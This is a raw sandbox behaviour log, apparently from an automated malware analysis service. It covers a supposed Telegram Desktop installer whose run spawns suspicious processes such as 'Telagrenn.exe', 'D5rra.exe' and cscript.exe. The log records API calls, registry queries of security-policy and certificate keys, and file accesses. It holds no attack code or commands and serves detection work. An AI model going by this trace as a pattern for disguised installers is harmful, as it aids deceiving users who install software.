"Setup will create the program's shortcuts in the following Start Menu folder." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "&Don't create a Start Menu folder" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "&Back" - (UID: 00000000-00007736)31:T38dd,"Telagrenn.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e02c7b7604e7ef00226ef8740000cc04000000002d6ef87461368f452d000000ecb7717688e7ef00b1ce9800f8f7fc02b8b2fb021800000080000000c8e6ef000000f1024ce7ef0070c8f9749da09e31feffffff2d000000d0cc8076270000001ce7ef00856afa741c23ff745ce7ef00f85ffa7408000000bb69f974b269f97439368f452d000000ecb7717627000000d0cc807630e7ef002d000000d0cc80762700000060e7ef00856afa741c23ff74a8e7ef007e8a7f76ee8c7f76738a7f765242dbe52d000000ecb7717627000000d0cc8076c43ccc04583ccc045242dbe570e7ef00fc52bd765ce8ef00e0847f76c2548f93feffffff738a7f76 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000c0ddef0038cfa7778436fb022cdeef00010000003836fb028436fb023836fb02040000000400000000e0ec75001000002cdeef00010000003836fb02cd97a7779c97a7779f92aff6b50fe3753836fb020000a77700000000cc04fd740000000080eee9750100000000000000f8e2ec75000000000400000080a93c744840eb75f8e2ec7530deef0080e863755050fc0280e863752cdeef000000000080e863755caaf3fdfeffffff000000000000000000000000050000005834fc0202000000020000000a0000004834fc025834fc0200000000ddba025db0e0ef00ddf3e075a4deef00000000004834fc020a000000f8f3e0754834fc02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000053002a004100700070004400610043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c004c006f00630061006c005c004d006900630072006f0000006f00660074005c00570069006e0064006f00770073005c004300610063006800650073000000330034002d004300360034003700450033003700430041003000440039007d002e0031002e007600650072003000780030003000300030003000300030003000300030003000300030003000350030002e006400620000004fe6e075e99ca8770000000000000000ffffffff000000000000000000000000805afe02945afe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000004d33a77753acaff6540000000000fb02d0deef0003000003d8deef0004000004d88bfb0202000002c000fb023e4e00703cddef003e4e0070010000003e4e0070f54d0000020000020000fb023e4e007000000000000000700000000000000000fc1d0000000000000842cc040000fb02f0bdfe0200000000d88bfb02000000000000000003000000d1b1ffff78f0fd02d7b1ffff0a000000ceb1ffff0f000000d3b1ffffe07bfb020842cc04f0e1ef00cce1ef0081f1f8750842cc0408e7ef0098e3ef00c5f1f8750000fb029834a777f8bdfe02f8e1ef001c60f57504000000f0e1ef005c8358750042cc04a090fc75000000000300000000000000 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe0206c1fe02f0c0fe02000000000000000000000000000000000000fe02f0c0fe020000000000000000ffffffff000000000000000000000000eec4fe0204c5fe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff00000000000000000000000066c1fe027ec1fe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff000000000000000000000000f6dcfe020addfe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff0000000000000000000000005ee3fe0276e3fe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff000000000000000000000000a600ff02bc00ff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff000000000000000000000000ce05ff02e605ff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000006f000000000000000000ffffffff00000000000000000000000068c3fe027ec3fe0268c3fe02000000000000000000000000000000000000fe0268c3fe02acc3fe0200000000000000000000000000000000bccaef000000a6773acbef0096caef00080000006fb8aff620cdef003acbef00ba9aa677ba9aa677000000003acbef00f0caef0055004200570053005c0041007000700044006100740061005c004c000000000000000000ffffffff000000000000000000000000f0c0fe02987880574f8c6244bb6371042380b10900000000008c624450a05275000000000000000000000000ffffffff0000000000000000000000001e0aff02360aff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000074ddef0033000000c8deef00c8d6fd024cdfef00d4deef00889a6675e8b0fc02854a7075aa9a6675421e089a000000000842cc044cdfef00b0d6fd029808ff020000fb020000000000000000000000006002fb022d000000c000fb01000000002800000000000000d88bfb022800000014deef005243aa774300000068deef0073f6e075aadeef005c00000000000000fdfeff7f82f8e07500000000dc0cf1fdfeffffff00000000000000000000000005000000d8d1fe0202000000020000000a000000c8d1fe02d8d1fe0200000000ddba025db0e0ef00ddf3e075a4deef0000000000c8d1fe020a000000f8f3e075c8d1fe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ff02b8d6ef00300000000000000001000000000000006e0fff02b8d6ef00b8d6ef005db1b3756e0fff02e4503874a0d6ef0018dbef00c314b47500000000130100006e0fff02e614b47594dbef00720fff02a1fd00000000000000000000acd6ef00e450387480d6ef000000000024000000000000008816fc025870c1758816fc02000000002400000000000000acd6ef009801fc02ee50387498dbef0002000000070000000800000002000000000000000000000000000000f6d8ef000100000001000000c0080000b00aff02e614b47520dcef00ce0aff02000001000000000000000000ffffffff00000000000000000000000038d9fd024cd9fd02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000600000014010000010000010000000000000030ddef00854a7075df876875a61d089a00aafc02b0befc0218f1fe020000000000005775fafafb300000000000000000cce0ef0082263774e2a02c44feffffff0000ef00881ae175b31ae17500aafc02000000000842cc0400000000d8e0ef008b846875330000000000000000000000807f6875b485687540000000ee13a777080014002550dd0100f1fe02b0befc0200aafc020842cc04f0e1ef00cce1ef0081f1f8750842cc0408e7ef0098e3ef00c5f1f8750000fb029834a777b00aff02f8e1ef001c60f57504000000f0e1ef005c8358750042cc04a090fc7500000000e8b0fc02854a7075 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ecdaef0000dbef0028dbef0050a0527500000000000000000000ff0238dbef00d8ecb375c80cff020000000044dbef00e21d3774000000000842cc0438dc3674c80cff02020000000000000000000000000000000000ef00000000001c010000c008000001000000e0dbef00a4dcef00000000000100000094dbef005243aa7743000000e8dbef0073f6e07566dcef005c000000000000001bffff7f82f8e07500000000c4def0fdffffffff00000000000000000000000009000000b4fdfe0201000000010000002b00000060fdfe02b4fdfe02000000005dbf025d30deef00ddf3e07524dcef000000000060fdfe022b000000f8f3e07560fdfe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ff0238d4ef00300000000000000001000000000000008625ff0238d4ef0038d4ef005db1b3758625ff02e450387420d4ef0098d8ef00c314b47500000000130100008625ff02e614b47514d9ef008a25ff02a1fd000000000000000000002cd4ef00e0d5ef00bf2aa7774d33a77733a7aff6760000000000fb0230d6ef008816fc02000000002400000000000000020000029801fc02e44100a518d9ef00630000630700000008000000020000000200000200000000e44100a576d6ef000100000001000000c0080000c820ff02e614b475a0d9ef00e620ff02000001000000000000000000ffffffff0000000000000000000000005810ff027010ff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000fe02000000000200000200000000a43f009b04aafc02a43f009bce1a089aa8daef003587687502000002e00eff02a43f009ba8e5fe02a8daef004c8768755c8768753e1a089a00aafc02e00eff0270eefe0270eefe020000000000aafc02ac0000000ac1ffffae00000017c1ffffc820ff02c88468750b00000069c0ffff0000000000000000e27bfb02b48568750000fb02c80cff02c00800000100000058eefe02ae000000e88cfb020000fb0270dfef004cdfef0081f1f875ff070000bb000000c000fb02008cfb020000fb0200000000401aff027f0700001c60f5750400000070dfef00680000000042cc043b00000000000000a43f009bc832ff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000fb00aafc02a8e5fe02000000000000000088ddef008b846875330000001e1d089ab41bff02807f6875b48568752c000000b37fffff2e000000aeffffff6023ff025810ff020d000000947fffff00000000000000000000fb021c0100000000fb0202000000f0230000020000000000fe022e000000fc8bfb0254daef005243aa7743000000a8daef0073f6e0754adbef005c000000000000002dffff7f82f8e075000000002c98f0fdffffffff000000000000000000000000060000002a43ff0201000000010000003a000000b842ff022a43ff02000000001dbe025df0dcef00ddf3e075e4daef0000000000b842ff023a000000f8f3e075b842ff02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ff02f8d2ef0030000000000000000100000000000000d650ff02f8d2ef00f8d2ef005db1b375d650ff02e4503874e0d2ef0058d7ef00c314b4750000000013010000d650ff02e614b475d4d7ef00da50ff02a1fd00000000000000000000ecd2ef00a0d4ef00bf2aa7774d33a77773a6aff6940000000000fb02f0d4ef008816fc02000000002400000000000000020000029801fc027a7e0004d8d7ef008f00008f07000000080000000200000002000002000000007a7e000436d5ef000100000001000000c0080000184cff02e614b47560d8ef00364cff02000001000000000000000000ffffffff00000000000000000000000040fcfe0256fcfe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000074ddef0033000000c8deef00b008ff024cdfef00d4deef00889a6675e8b0fc02854a7075aa9a6675421e089a000000000842cc044cdfef009808ff0280d2fd0285646a75000000000000000000000000d88bfb020100000004000001000000008700000000000000d88bfb020700000014deef005243aa774300000068deef0073f6e075aadeef005c00000000000000fdfeff7f82f8e075000000005c0ff1fdfeffffff0000000000000000000000000500000058cffe0202000000020000000a00000048cffe0258cffe0200000000ddba025db0e0ef00ddf3e075a4deef000000000048cffe020a000000f8f3e07548cffe02 (UID: 00000000-00002804) "Telagrenn.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ff02b8d6ef0030000000000000000100000000000000de60ff02b8d6ef00b8d6ef005db1b375de60ff02e4503874a0d6ef0018dbef00c314b4750000000013010000de60ff02e614b47594dbef00e260ff02a1fd00000000000000000000acd6ef00e450387480d6ef000000000024000000000000008816fc025870c1758816fc02000000002400000000000000acd6ef009801fc02ee50387498dbef0002000000070000000800000002000000000000000000000000000000f6d8ef000100000001000000c0080000205cff02e614b47520dcef003e5cff02000001000000000000000000ffffffff000000000000000000000000504dff02644dff02 (UID: 00000000-00002804)32:Ta43,"Telagrenn.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002804) "Telagrenn.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000300af10292b42c4498e5ef005916a7770100000008000000010000000000fb020000000010000000000000000000000002000000020000000000fb02010000000800000006ec3474b8e5ef00ee13a77701000000ee13a7770800000000000000080000002ec2fb30f0e7ef00ad9ccf730000fb020800000001000000 (UID: 00000000-00002804) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f20f010000000008f90f01822637740e53c42ffeffffffc4f80f013ce23674650c0000ecf80f014fe2367400000000e99ca87700000000000000000000000000000000b238f35aa69e73eb14f90f019be83474060000006239f35aa0c38600a0c38600b5e83474000000000600000000000000000000000000860000000000 (UID: 00000000-00006908) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000074020000022500000000000000000000f8ec0f010000000000000000000000000ceaa977ad49e27574020000ffffffff28ed0f0100000000000000001ced0f0124ed0f01010000000000000002000000c0f50f0198ed0f01000000000000000000300000000077054ced0f0186c58600740200000400000000000000 (UID: 00000000-00006908) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000079038000000000000000f853bd7684d70f01ee13a77780000000ee13a777000000000000000080000000f06259737f381ffba4d70f015072f874000079030000000080000000f062597302000000002f5973c0d70f01fb6259730100000080045a73885ffa74000000002fa5c82df0d70f01b8645973f42e5973 (UID: 00000000-00006908) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000b9a534030000003c3b557302000000c01a5673a09979039899790316b9a53438be0f013c3b557324bf0f01101056736eb9fd46feffffff321256734c125673c01a5673a0be0f01d47d5573c01a5673735ffa740100000094cb5773885ffa74c07d55734fccc82dd0be0f01880c5673343b5573403b55730000000000000000 (UID: 00000000-00006908) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000018000000000000005ce8a9778ce00f01980200007ce70f01702e3274d7ba51e1feffffff642a32746324327414e10f0158060000a0e70f01180000006ce70f01000000008ce70f011de336746c01000014e10f0158060000a0e70f01180000006ce70f01fa27f35a000000000000000030e80f010600000000000000 (UID: 00000000-00006908)33:T811,"Telagrenn.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Telagrenn.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Telegram.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "D5rra.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "D5rra.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "D5rra.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "D5rra.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "System.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")34:T70c,"Telegram.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")35:Ta5e,"tsetup-x64.7.0.2.tmp" queries volume information of an entire harddrive"C:\" at 00000000-00007736-00000C17-696337555 "tsetup-x64.7.0.2.tmp" queries volume information of an entire harddrive"C:\" at 00000000-00007736-00000C17-696478118 "tsetup-x64.7.0.2.tmp" queries volume information of an entire harddrive"C:\" at 00000000-00007736-00000C17-696536979 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00002316-00000C17-708258712 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00002316-00000C17-708258954 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\log.txt" at 00000000-00002316-00000C17-708614277 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\log.txt" at 00000000-00002316-00000C17-708614738 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00002316-00000C17-708984729 "Telegram.exe" queries volume information of "C:\Program Files\Google\Chrome\Application\chrome.exe" at 00000000-00002316-00000C17-709011894 "Telegram.exe" queries volume information of "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" at 00000000-00002316-00000C17-709016337 "Telegram.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002316-00000C17-718847843 "Telegram.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002316-00000C17-731579941 "Telegram.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002316-00000C17-731690588 "Telegram.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002316-00000C17-731758449 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00001040-00000C17-715185697 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00001040-00000C17-715185937 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00007280-00000C17-722568280 "Telegram.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" at 00000000-00007280-00000C17-722568523 "msiexec.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007060-00000C17-728813163 "msiexec.exe" queries volume information of "C:\share" at 00000000-00007060-00000C17-73031853436:T46b,Found string "CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}" (Indicator: "{860bb310-5d01-11d0-bd3b-00a0c911ce86}"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found string "CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}" (Indicator: "{62be5d10-60eb-11d0-bd3b-00a0c911ce86}"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found string "Error getting class object for CLSID ({860BB310-5D01-11D0-BD3B-00A0C911CE86}), IID ({00000001-0000-0000-C000-000000000046}) in DLL (C:\Windows\System32\devenum.dll): 0x80040111" (Indicator: "{860bb310-5d01-11d0-bd3b-00a0c911ce86}"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp") Found string "End CCI clsid:{860BB310-5D01-11D0-BD3B-00A0C911CE86} context:1 RSN: hr:0x80040111" (Indicator: "{860bb310-5d01-11d0-bd3b-00a0c911ce86}"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp")37:T639,"Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41F23BB65D5A09DF.CUSTOMDESTINATIONS-MS" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K666QM6SNJ8N1WNS9SO3.TEMP" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K666QM6SNJ8N1WNS9SO3.temp" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZSO6UA4CJSLGD4R8CZ7.TEMP" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZSO6UA4CJSLGD4R8CZ7.temp" "Telegram.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a9953.TMP" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OWCGWQ1A0BFXMNJOK3LV.TEMP" "Telegram.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OWCGWQ1A0BFXMNJOK3LV.temp"38:T51d,"Telegram.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "Telegram.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "Telegram.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "Telegram.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "Telegram.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "Telegram.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "Telegram.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75"; Key: "BLOB") "Telegram.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB") "Telegram.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB") "Telegram.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5"; Key: "BLOB") "Telegram.exe" (Path: 